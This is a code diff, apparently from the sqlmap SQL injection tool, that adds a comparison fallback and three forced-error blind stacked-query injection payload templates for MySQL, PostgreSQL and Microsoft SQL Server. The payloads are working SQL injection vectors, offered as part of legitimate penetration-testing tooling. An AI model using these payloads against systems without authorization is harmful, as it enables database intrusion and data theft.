diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 5c85eef17..e6e38ba6c 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -50,6 +50,7 @@ from lib.core.exception import sqlmapUserQuitException
 from lib.core.session import setDynamicMarkings
 from lib.core.settings import CONSTANT_RATIO
 from lib.core.settings import UNKNOWN_DBMS_VERSION
+from lib.core.settings import LOWER_RATIO_BOUND
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
@@ -315,6 +316,11 @@ def checkSqlInjection(place, parameter, value):
                             kb.matchRatio = None
                             _ = Request.queryPage(cmpPayload, place, raise404=False)
 
+                            # If in the comparing stage there was an error
+                            # then anything non-error will be considered as True
+                            if kb.errorIsNone and kb.matchRatio is None:
+                                kb.matchRatio = LOWER_RATIO_BOUND
+
                             # Perform the test's True request
                             trueResult = Request.queryPage(reqPayload, place, raise404=False)
 
diff --git a/xml/payloads.xml b/xml/payloads.xml
index d62c8aad3..1efa79b02 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1558,6 +1558,67 @@ Formats:
     <!-- End of stacked queries tests -->
 
 
+    <!-- Forced-error blind stacked queries tests -->
+    <test>
+        <title>MySQL forced-error blind stacked queries</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>0</risk>
+        <clause>0</clause>
+        <where>1</where>
+        <vector>; IF(([INFERENCE]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</vector>
+        <request>
+            <payload>; IF(([RANDNUM]=[RANDNUM]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</payload>
+            <comment>#</comment>
+        </request>
+        <response>
+            <comparison>; IF(([RANDNUM]=[RANDNUM1]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</comparison>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>PostgreSQL forced-error blind stacked queries</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>0</risk>
+        <clause>0</clause>
+        <where>2</where>
+        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END);</vector>
+        <request>
+            <payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END);</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END);</comparison>
+        </response>
+    </test>
+
+    <test>
+        <title>Microsoft SQL Server/Sybase forced-error blind stacked queries</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>0</risk>
+        <clause>0</clause>
+        <where>1</where>
+        <vector>; IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</vector>
+        <request>
+            <payload>; IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <comparison>; IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</comparison>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+    <!-- End of forced-error blind stacked queries tests -->
+
+
     <!-- AND time-based blind tests -->
     <test>
         <title>MySQL &gt; 5.0.11 AND time-based blind</title>